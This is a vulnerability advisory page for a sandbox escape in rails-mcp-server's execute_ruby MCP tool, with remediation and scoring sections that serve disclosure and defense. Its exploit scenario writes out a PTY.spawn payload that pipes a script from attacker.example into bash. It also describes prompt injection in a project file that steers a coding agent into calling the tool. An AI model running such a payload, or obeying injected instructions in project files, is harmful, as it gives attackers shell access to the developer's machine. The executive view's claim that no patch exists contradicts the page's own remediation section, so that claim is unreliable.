Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft PTY.spawn payload in Ruby snippet
-
DeliveryInvoke execute_ruby tool via MCP client or prompt-injected AI agent
-
ExploitStatic denylist passes PTY (not enumerated)
-
Executionrequire 'pty' loads pseudo-terminal library
-
PersistPTY.spawn starts child process outside Kernel overrides
-
ImpactExecute arbitrary OS commands as server process user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The following conditions must all be met: rails-mcp-server version 1.4.0 through 1.6.0 must be running; the execute_ruby tool must be enabled (it is part of the server's tool set but may be toggled); the attacker must be able to invoke the execute_ruby tool, either directly as an authorized MCP client or indirectly via prompt injection into an AI coding agent that has the tool available. The Ruby PTY standard library need not be pre-loaded - a bare require 'pty' statement within the tool call suffices because require itself was not blocked. Exploitation is limited by: local deployment model (AV:L per CVSS - attacker must reach the local MCP interface, not a public network endpoint); the server must be actively running; and the caller must control or influence the Ruby code string passed to execute_ruby. Authentication to the MCP server itself follows whatever the MCP client enforces, which is outside the scope of this flaw. |
| Impact | The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) scores 8.6 and reflects low-complexity local exploitation with no privilege prerequisite within the tool-call interface, yielding full confidentiality, integrity, and availability impact on the vulnerable system. PR:N is appropriate here because any entity that can invoke the execute_ruby tool - including an AI coding agent steered by prompt injection - requires no elevated OS or application privileges to trigger the flaw; tool access itself is the gating factor. AV:L is appropriate because rails-mcp-server is typically deployed locally by developers, meaning the attack surface is the local MCP tool interface rather than a network-exposed endpoint. EPSS data is not available in the provided intelligence. The vulnerability is not listed in CISA KEV, and no public proof-of-concept exploit has been identified, which moderates urgency. However, the complete bypass path is disclosed in the public GitHub PR diff, meaning a motivated actor can reconstruct the exploit trivially. The primary realistic threat is prompt injection: a malicious instruction embedded in project files or AI agent inputs could steer a coding agent into calling execute_ruby with a PTY-based payload, running attacker-controlled commands as the developer's own account. |
| Exploit ScenarioDerived | A developer uses a coding agent (e.g., Claude Code, Cursor) connected to rails-mcp-server 1.5.0. A malicious instruction embedded in a project file via prompt injection steers the agent to call execute_ruby with the payload require 'pty'; PTY.spawn('curl attacker.example/shell.sh | bash'). The PTY.spawn call bypasses all Kernel method overrides and the denylist, spawning a shell process as the developer's local user account. No confirmation dialog or elevated privilege is required because the tool invocation itself is sufficient. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 27, 2026
OS command injection in maquina-app rails-mcp-server versions 1.4.0 through 1.6.0 allows any caller with access to the execute_ruby MCP tool to escape the purported Ruby sandbox and execute arbitrary shell commands as the server process owner. The execute_ruby tool's denylist blocked Kernel#system, exec, and backtick invocations but never covered Ruby's pseudo-terminal library (PTY) entry points - PTY.spawn and PTY.getpty - enabling a caller to require 'pty' and spawn a child process entirely outside the guarded method replacements. No public exploit has been identified at time of analysis, and the vulnerability is not listed in CISA KEV, but the bypass path is fully documented in the vendor's public patch PR.
RemediationAI
Upgrade to rails-mcp-server version 1.6.1, which restricts require to a data-library allowlist (csv, tzinfo, date, time), adds PTY, Fiddle, and FFI to the static forbidden-pattern scan, and hard-blocks dynamic dispatch to execution sinks. Alternatively, upgrade to 2.0.0, which removes the execute_ruby tool entirely, eliminating the attack surface. The fix is tracked in GitHub PR #59 (https://github.com/maquina-app/rails-mcp-server/pull/59) and releases are at https://github.com/maquina-app/rails-mcp-server/releases. If an immediate upgrade is not possible, the most effective workaround is to disable the execute_ruby tool in the server configuration entirely, accepting the loss of inline Ruby inspection capability. As the vendor now documents, running the server against a database user with read-only grants and within an OS-level sandbox (container, sandbox-exec) reduces the impact of any sandbox escape but does not prevent code execution at the OS level. No generic 'apply defense in depth' posture substitutes for patching.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
rails-mcp-server (CPE: cpe:2.3:a:maquina-app:rails-mcp-server:*:*:*:*:*:*:*:*) is a Ruby on Rails MCP server that exposes an execute_ruby tool intended as a read-only inspection sandbox. The sandbox was enforced by two mechanisms: a static pattern denylist that rejected dangerous method names, and runtime replacements of Kernel#system, exec, and related methods. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) applies because the tool accepted caller-supplied Ruby and then failed to restrict the full set of OS command entry points. Ruby's standard PTY library provides PTY.spawn and PTY.getpty, which open a pseudo-terminal and start a child process via a separate code path that does not go through the overridden Kernel methods. Because require 'pty' was not blocked and PTY symbols were absent from the denylist, a single require statement was sufficient to access these entry points. The denylist was introduced in version 1.4.0 and remained incomplete through 1.6.0. The fix in 1.6.1 restricts require to a narrow data-library allowlist (csv, tzinfo, date, time), adds PTY, Fiddle, and FFI to the static pattern scan, and hard-blocks dynamic dispatch (send, public_send, const_get) targeting execution sinks.
Know when Rails Mcp Server gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AV:L reflects local MCP interface access; PR:N because no OS or application privilege is needed beyond tool invocation; full C/I/A impact from arbitrary command execution as server process.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
The execute_ruby tool is documented as a read-only Ruby sandbox and is enforced by a pattern denylist together with replacements for the process-spawning methods on Kernel. The pseudo-terminal library's spawn entry points are neither in the denylist nor replaced, so a normal tool call could reach them and start a shell, executing commands as the account running the server and outside the guarded methods. The denylist was introduced with the tool in 1.4.0 and never covered those entry points through 1.6.0. Version 1.6.1 restricts the requires the sandbox permits to a data-only list and blocks dynamic dispatch to execution entry points; 2.0.0 removes the tool.
Executive ViewAI
maquina-app rails-mcp-server versions 1.4.0-1.6.0 permit arbitrary shell command execution for callers with MCP tool access, risking complete server compromise. Organizations running this product in AI/LLM integration scenarios face potential business disruption and lateral movement into production infrastructure.
No vendor-released patch identified at time of analysis. Interim mitigations: restrict execute_ruby MCP tool access to authorized users only; disable the tool if not operationally essential; monitor server processes for unexpected child process spawning; implement network segmentation to limit MCP server access to authorized clients only.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-67025
GHSA-247c-497m-jx82
NVD
CVE.org
EPSS
Exploit-DB